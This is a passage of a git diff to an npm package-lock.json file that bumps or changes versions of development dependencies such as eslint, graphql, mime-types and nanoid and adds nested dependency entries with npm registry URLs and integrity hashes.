+          "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==",
+          "dev": true,
+          "requires": {
+            "eslint-visitor-keys": "^2.0.0"
+          },
+          "dependencies": {
+            "eslint-visitor-keys": {
+              "version": "2.1.0",
+              "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz",
+              "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==",
+              "dev": true
+            }
+          }
+        },
+        "eslint-visitor-keys": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.0.0.tgz",
+          "integrity": "sha512-mJOZa35trBTb3IyRmo8xmKBZlxf+N7OnUl4+ZhJHs/r+0770Wh/LEACE2pqMGMe27G/4y8P2bYGk4J70IC5k1Q==",
+          "dev": true
+        },
+        "espree": {
+          "version": "9.0.0",
+          "resolved": "https://registry.npmjs.org/espree/-/espree-9.0.0.tgz",
+          "integrity": "sha512-r5EQJcYZ2oaGbeR0jR0fFVijGOcwai07/690YRXLINuhmVeRY4UKSAsQPe/0BNuDgwP7Ophoc1PRsr2E3tkbdQ==",
+          "dev": true,
+          "requires": {
+            "acorn": "^8.5.0",
+            "acorn-jsx": "^5.3.1",
+            "eslint-visitor-keys": "^3.0.0"
+          }
+        },
+        "esprima": {
+          "version": "4.0.1",
+          "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
+          "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
+          "dev": true
+        },
+        "estraverse": {
+          "version": "5.2.0",
+          "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz",
+          "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==",
+          "dev": true
+        },
+        "glob-parent": {
+          "version": "6.0.2",
+          "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+          "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+          "dev": true,
+          "requires": {
+            "is-glob": "^4.0.3"
+          }
+        },
+        "js-yaml": {
+          "version": "4.1.0",
+          "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
+          "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+          "dev": true,
+          "requires": {
+            "argparse": "^2.0.1"
+          },
+          "dependencies": {
+            "argparse": {
+              "version": "2.0.1",
+              "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+              "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+              "dev": true
+            }
+          }
+        },
         "ms": {
           "version": "2.1.2",
           "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
@@ -5405,9 +5664,9 @@
       }
     },
     "eslint-plugin-lit": {
-      "version": "1.5.1",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-lit/-/eslint-plugin-lit-1.5.1.tgz",
-      "integrity": "sha512-pYB0QM11uyOk5L55QfGhBmWi8a56PkNsnx+zVpY4bxz9YVquEo4BeRnFmf9AwFyT89rhGud9QruFhM2xJ4piwg==",
+      "version": "1.6.0",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-lit/-/eslint-plugin-lit-1.6.0.tgz",
+      "integrity": "sha512-869OEsg1MdI7bYJrOjgkdMXAX9qPZkyxJkScKQMY3vVDKnWxRGow/vI+2zEduKWOZA23Zfg/mUDwYZ5OGkd9eg==",
       "dev": true,
       "requires": {
         "parse5": "^6.0.1",
@@ -5434,12 +5693,90 @@
         "requireindex": "~1.1.0"
       },
       "dependencies": {
+        "@babel/code-frame": {
+          "version": "7.12.11",
+          "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.11.tgz",
+          "integrity": "sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==",
+          "dev": true,
+          "requires": {
+            "@babel/highlight": "^7.10.4"
+          }
+        },
+        "debug": {
+          "version": "4.3.2",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
+          "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==",
+          "dev": true,
+          "requires": {
+            "ms": "2.1.2"
+          }
+        },
         "emoji-regex": {
           "version": "9.2.2",
           "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
           "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
           "dev": true
         },
+        "escape-string-regexp": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+          "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+          "dev": true
+        },
+        "eslint": {
+          "version": "7.32.0",
+          "resolved": "https://registry.npmjs.org/eslint/-/eslint-7.32.0.tgz",
+          "integrity": "sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==",
+          "dev": true,
+          "requires": {
+            "@babel/code-frame": "7.12.11",
+            "@eslint/eslintrc": "^0.4.3",
+            "@humanwhocodes/config-array": "^0.5.0",
+            "ajv": "^6.10.0",
+            "chalk": "^4.0.0",
+            "cross-spawn": "^7.0.2",
+            "debug": "^4.0.1",
+            "doctrine": "^3.0.0",
+            "enquirer": "^2.3.5",
+            "escape-string-regexp": "^4.0.0",
+            "eslint-scope": "^5.1.1",
+            "eslint-utils": "^2.1.0",
+            "eslint-visitor-keys": "^2.0.0",
+            "espree": "^7.3.1",
+            "esquery": "^1.4.0",
+            "esutils": "^2.0.2",
+            "fast-deep-equal": "^3.1.3",
+            "file-entry-cache": "^6.0.1",
+            "functional-red-black-tree": "^1.0.1",
+            "glob-parent": "^5.1.2",
+            "globals": "^13.6.0",
+            "ignore": "^4.0.6",
+            "import-fresh": "^3.0.0",
+            "imurmurhash": "^0.1.4",
+            "is-glob": "^4.0.0",
+            "js-yaml": "^3.13.1",
+            "json-stable-stringify-without-jsonify": "^1.0.1",
+            "levn": "^0.4.1",
+            "lodash.merge": "^4.6.2",
+            "minimatch": "^3.0.4",
+            "natural-compare": "^1.4.0",
+            "optionator": "^0.9.1",
+            "progress": "^2.0.0",
+            "regexpp": "^3.1.0",
+            "semver": "^7.2.1",
+            "strip-ansi": "^6.0.0",
+            "strip-json-comments": "^3.1.0",
+            "table": "^6.0.9",
+            "text-table": "^0.2.0",
+            "v8-compile-cache": "^2.0.3"
+          }
+        },
+        "ms": {
+          "version": "2.1.2",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+          "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+          "dev": true
+        },
         "parse5": {
           "version": "5.1.1",
           "resolved": "https://registry.npmjs.org/parse5/-/parse5-5.1.1.tgz",
@@ -5677,11 +6014,6 @@
           "version": "1.2.2",
           "resolved": "https://registry.npmjs.org/acorn/-/acorn-1.2.2.tgz",
           "integrity": "sha1-yM4n3grMdtiW0rH6099YjZ6C8BQ="
-        },
-        "isarray": {
-          "version": "0.0.1",
-          "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
-          "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8="
         }
       }
     },
@@ -5878,6 +6210,14 @@
         "graceful-fs": "^4.2.0",
         "jsonfile": "^6.0.1",
         "universalify": "^2.0.0"
+      },
+      "dependencies": {
+        "universalify": {
+          "version": "2.0.0",
+          "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+          "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+          "dev": true
+        }
       }
     },
     "fs.realpath": {
@@ -5963,6 +6303,32 @@
         "through2": "^4.0.0"
       },
       "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
+        "readable-stream": {
+          "version": "3.6.0",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+          "dev": true,
+          "requires": {
+            "inherits": "^2.0.3",
+            "string_decoder": "^1.1.1",
+            "util-deprecate": "^1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.3.0",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+          "dev": true,
+          "requires": {
+            "safe-buffer": "~5.2.0"
+          }
+        },
         "through2": {
           "version": "4.0.2",
           "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz",
@@ -6049,9 +6415,9 @@
       "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg=="
     },
     "graphql": {
-      "version": "15.6.0",
-      "resolved": "https://registry.npmjs.org/graphql/-/graphql-15.6.0.tgz",
-      "integrity": "sha512-WJR872Zlc9hckiEPhXgyUftXH48jp2EjO5tgBBOyNMRJZ9fviL2mJBD6CAysk6N5S0r9BTs09Qk39nnJBkvOXQ==",
+      "version": "15.6.1",
+      "resolved": "https://registry.npmjs.org/graphql/-/graphql-15.6.1.tgz",
+      "integrity": "sha512-3i5lu0z6dRvJ48QP9kFxBkJ7h4Kso7PS8eahyTFz5Jm6CvQfLtNIE8LX9N6JLnXTuwR+sIYnXzaWp6anOg0QQw==",
       "dev": true
     },
     "graphql-ld": {
@@ -6158,6 +6524,14 @@
       "requires": {
         "inherits": "^2.0.3",
         "minimalistic-assert": "^1.0.1"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        }
       }
     },
     "he": {
@@ -6221,6 +6595,12 @@
           "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
           "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=",
           "dev": true
+        },
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
         }
       }
     },
@@ -6350,9 +6730,9 @@
       }
     },
     "inherits": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz",
+      "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE="
     },
     "ini": {
       "version": "1.3.8",
@@ -6450,9 +6830,9 @@
       "dev": true
     },
     "is-core-module": {
-      "version": "2.6.0",
-      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.6.0.tgz",
-      "integrity": "sha512-wShG8vs60jKfPWpF2KZRaAtvt3a20OAn7+IJ6hLPECpSABLcKtFKTTI4ZtH5QcBruBHlq+WsdHWyz0BCZW7svQ==",
+      "version": "2.7.0",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.7.0.tgz",
+      "integrity": "sha512-ByY+tjCciCr+9nLryBYcSD50EOGWt95c7tIsKTG1J2ixKKXPvF7Ej3AVd+UfDydAJom3biBGDBALaO79ktwgEQ==",
       "dev": true,
       "requires": {
         "has": "^1.0.3"
@@ -6533,9 +6913,9 @@
       }
     },
     "is-glob": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
-      "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
+      "version": "4.0.3",
+      "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+      "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
       "dev": true,
       "requires": {
         "is-extglob": "^2.1.1"
@@ -6642,6 +7022,12 @@
       "integrity": "sha1-/S2INUXEa6xaYz57mgnof6LLUGk=",
       "dev": true
     },
+    "is-shared-array-buffer": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.1.tgz",
+      "integrity": "sha512-IU0NmyknYZN0rChcKhRO1X8LYz5Isj/Fsqh8NJOSf+N/hCOTwy29F32Ik7a+QszE63IdvmwdTPDd6cZ5pg4cwA==",
+      "dev": true
+    },
     "is-stream": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
@@ -6682,6 +7068,15 @@
         "is-potential-custom-element-name": "^1.0.0"
       }
     },
+    "is-weakref": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.1.tgz",
+      "integrity": "sha512-b2jKc2pQZjaeFYWEf7ScFj+Be1I+PXmlu572Q8coTXZ+LD/QQZ7ShPMst8h16riVgyXTQwUsFEl74mDvc/3MHQ==",
+      "dev": true,
+      "requires": {
+        "call-bind": "^1.0.0"
+      }
+    },
     "is-wsl": {
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
@@ -6692,10 +7087,9 @@
       }
     },
     "isarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
-      "dev": true
+      "version": "0.0.1",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
+      "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8="
     },
     "isbinaryfile": {
       "version": "4.0.8",
@@ -6710,9 +7104,9 @@
       "dev": true
     },
     "istanbul-lib-coverage": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.1.tgz",
-      "integrity": "sha512-GvCYYTxaCPqwMjobtVcVKvSHtAGe48MNhGjpK8LtVF8K0ISX7hCKl85LgtuaSneWVyQmaGcW3iXVV3GaZSLpmQ==",
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.0.tgz",
+      "integrity": "sha512-UiUIqxMgRDET6eR+o5HbfRYP1l0hqkWOs7vNxC/mggutCMUIhWMm8gAHb8tHlyfD3/l6rlgNA5cKdDzEAf6hEg==",
       "dev": true
     },
     "istanbul-lib-report": {
@@ -6727,9 +7121,9 @@
       }
     },
     "istanbul-reports": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.0.2.tgz",
-      "integrity": "sha512-9tZvz7AiR3PEDNGiV9vIouQ/EAcqMXFmkcA1CDFTwOB98OZVDL0PH9glHotf5Ugp6GCOTypfzGWI/OqjWNCRUw==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.0.3.tgz",
+      "integrity": "sha512-0i77ZFLsb9U3DHi22WzmIngVzfoyxxbQcZRqlF3KoKmCJGq9nhFHoGi8FqBztN2rE8w6hURnZghetn0xpkVb6A==",
       "dev": true,
       "requires": {
         "html-escaper": "^2.0.0",
@@ -6827,6 +7221,14 @@
       "requires": {
         "graceful-fs": "^4.1.6",
         "universalify": "^2.0.0"
+      },
+      "dependencies": {
+        "universalify": {
+          "version": "2.0.0",
+          "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+          "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+          "dev": true
+        }
       }
     },
     "jsonify": {
@@ -7100,6 +7502,31 @@
         "inherits": "^2.0.4",
         "readable-stream": "^3.4.0",
         "xtend": "^4.0.2"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+        },
+        "readable-stream": {
+          "version": "3.6.0",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+          "requires": {
+            "inherits": "^2.0.3",
+            "string_decoder": "^1.1.1",
+            "util-deprecate": "^1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.3.0",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+          "requires": {
+            "safe-buffer": "~5.2.0"
+          }
+        }
       }
     },
     "level-js": {
@@ -7111,6 +7538,13 @@
         "buffer": "^5.5.0",
         "inherits": "^2.0.3",
         "ltgt": "^2.1.2"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+        }
       }
     },
     "level-packager": {
@@ -7195,9 +7629,9 @@
       "dev": true
     },
     "lint-staged": {
-      "version": "11.2.0",
-      "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.2.0.tgz",
-      "integrity": "sha512-0KIcRuO4HQS2Su7qWtjrfTXgSklvyIb9Fk9qVWRZkGHa5S81Vj6WBbs+ogQBvHUwLJYq1eQ4R+H82GSak4OM7w==",
+      "version": "11.2.2",
+      "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.2.2.tgz",
+      "integrity": "sha512-rbtLCRTyndPJvtjpLwVjjb6K91jQrJ06oNArA4igPTGYlDCrJMIFbNDUAQGa4GRd8AjUBHkAAmq+K38tcmMaAQ==",
       "dev": true,
       "requires": {
         "cli-truncate": "2.1.0",
@@ -7625,18 +8059,18 @@
       "dev": true
     },
     "mime-db": {
-      "version": "1.49.0",
-      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.49.0.tgz",
-      "integrity": "sha512-CIc8j9URtOVApSFCQIF+VBkX1RwXp/oMMOrqdyXSBXq5RWNEsRfyj1kiRnQgmNXmHxPoFIxOroKA3zcU9P+nAA==",
+      "version": "1.50.0",
+      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.50.0.tgz",
+      "integrity": "sha512-9tMZCDlYHqeERXEHO9f/hKfNXhre5dK2eE/krIvUjZbS2KPcqGDfNShIWS1uW9XOTKQKqK6qbeOci18rbfW77A==",
       "dev": true
     },
     "mime-types": {
-      "version": "2.1.32",
-      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.32.tgz",
-      "integrity": "sha512-hJGaVS4G4c9TSMYh2n6SQAGrC4RnfU+daP8G7cSCmaqNjiOoUY0VHCMS42pxnQmVF1GWwFhbHWn3RIxCqTmZ9A==",
+      "version": "2.1.33",
+      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.33.tgz",
+      "integrity": "sha512-plLElXp7pRDd0bNZHw+nMd52vRYjLwQjygaNg7ddJ2uJtTlmnTCjWuPKxVu6//AdaRuME84SvLW91sIkBqGT0g==",
       "dev": true,
       "requires": {
-        "mime-db": "1.49.0"
+        "mime-db": "1.50.0"
       }
     },
     "mimic-fn": {
@@ -7761,6 +8195,12 @@
             "ms": "^2.1.1"
           }
         },
+        "diff": {
+          "version": "3.5.0",
+          "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz",
+          "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==",
+          "dev": true
+        },
         "emoji-regex": {
           "version": "7.0.3",
           "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
@@ -7980,6 +8420,34 @@
       "requires": {
         "queue-microtask": "^1.1.2",
         "readable-stream": "^3.6.0"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
+        "readable-stream": {
+          "version": "3.6.0",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+          "dev": true,
+          "requires": {
+            "inherits": "^2.0.3",
+            "string_decoder": "^1.1.1",
+            "util-deprecate": "^1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.3.0",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+          "dev": true,
+          "requires": {
+            "safe-buffer": "~5.2.0"
+          }
+        }
       }
     },
     "nan-x": {
@@ -7988,15 +8456,15 @@
       "integrity": "sha512-dndRmy03JQEN+Nh6WjQl7/OstIozeEmrtWe4TE7mEqJ8W8oMD8m2tHjsLPWt//e3hLAeRSbs4pxMyc5pk/nCkQ=="
     },
     "nanocolors": {
-      "version": "0.2.9",
-      "resolved": "https://registry.npmjs.org/nanocolors/-/nanocolors-0.2.9.tgz",
-      "integrity": "sha512-aymgS4Xe0LMqHOHl7jSUEkFh/6O/pcF0j61dBtreQZ1nmbyYdYjSYSJzz0iPLbKPkMtSmdRgyBGywNZGjKOEfw==",
+      "version": "0.2.13",
+      "resolved": "https://registry.npmjs.org/nanocolors/-/nanocolors-0.2.13.tgz",
+      "integrity": "sha512-0n3mSAQLPpGLV9ORXT5+C/D4mwew7Ebws69Hx4E2sgz2ZA5+32Q80B9tL8PbL7XHnRDiAxH/pnrUJ9a4fkTNTA==",
       "dev": true
     },
     "nanoid": {
-      "version": "3.1.28",
-      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.28.tgz",
-      "integrity": "sha512-gSu9VZ2HtmoKYe/lmyPFES5nknFrHa+/DT9muUFWFMi6Jh9E1I7bkvlQ8xxf1Kos9pi9o8lBnIOkatMhKX/YUw==",
+      "version": "3.1.29",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.29.tgz",
+      "integrity": "sha512-dW2pUSGZ8ZnCFIlBIA31SV8huOGCHb6OwzVCc7A69rb/a+SgPBwfmLvK5TKQ3INPbRkcI8a/Owo0XbiTNH19wg==",
       "dev": true
     },
     "napi-macros": {
@@ -8054,10 +8522,9 @@
       }
     },
     "node-fetch": {
-      "version": "2.6.1",
-      "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz",
-      "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==",
-      "dev": true
+      "version": "2.6.0",
+      "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz",
+      "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA=="
     },
     "node-gyp-build": {
       "version": "4.1.1",
@@ -8154,36 +8621,36 @@
       }
     },
     "object.entries": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.4.tgz",
-      "integrity": "sha512-h4LWKWE+wKQGhtMjZEBud7uLGhqyLwj8fpHOarZhD2uY3C9cRtk57VQ89ke3moByLXMedqs3XCHzyb4AmA2DjA==",
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz",
+      "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==",
       "dev": true,
       "requires": {
         "call-bind": "^1.0.2",
         "define-properties": "^1.1.3",
-        "es-abstract": "^1.18.2"
+        "es-abstract": "^1.19.1"
       }
     },
     "object.getownpropertydescriptors": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.2.tgz",
-      "integrity": "sha512-WtxeKSzfBjlzL+F9b7M7hewDzMwy+C8NRssHd1YrNlzHzIDrXcXiNOMrezdAEM4UXixgV+vvnyBeN7Rygl2ttQ==",
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.3.tgz",
+      "integrity": "sha512-VdDoCwvJI4QdC6ndjpqFmoL3/+HxffFBbcJzKi5hwLLqqx3mdbedRpfZDdK0SrOSauj8X4GzBvnDZl4vTN7dOw==",
       "dev": true,
       "requires": {
         "call-bind": "^1.0.2",
         "define-properties": "^1.1.3",
-        "es-abstract": "^1.18.0-next.2"
+        "es-abstract": "^1.19.1"
       }
     },
     "object.values": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.4.tgz",
-      "integrity": "sha512-TnGo7j4XSnKQoK3MfvkzqKCi0nVe/D9I9IjwTNYdb/fxYHpjrluHVOgw0AF6jrRFGMPHdfuidR09tIDiIvnaSg==",
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz",
+      "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==",
       "dev": true,
       "requires": {
         "call-bind": "^1.0.2",
         "define-properties": "^1.1.3",
-        "es-abstract": "^1.18.2"
+        "es-abstract": "^1.19.1"
       }
     },
     "on-finished": {
@@ -8228,9 +8695,9 @@
       "dev": true
     },
     "open": {
-      "version": "8.2.1",
-      "resolved": "https://registry.npmjs.org/open/-/open-8.2.1.tgz",
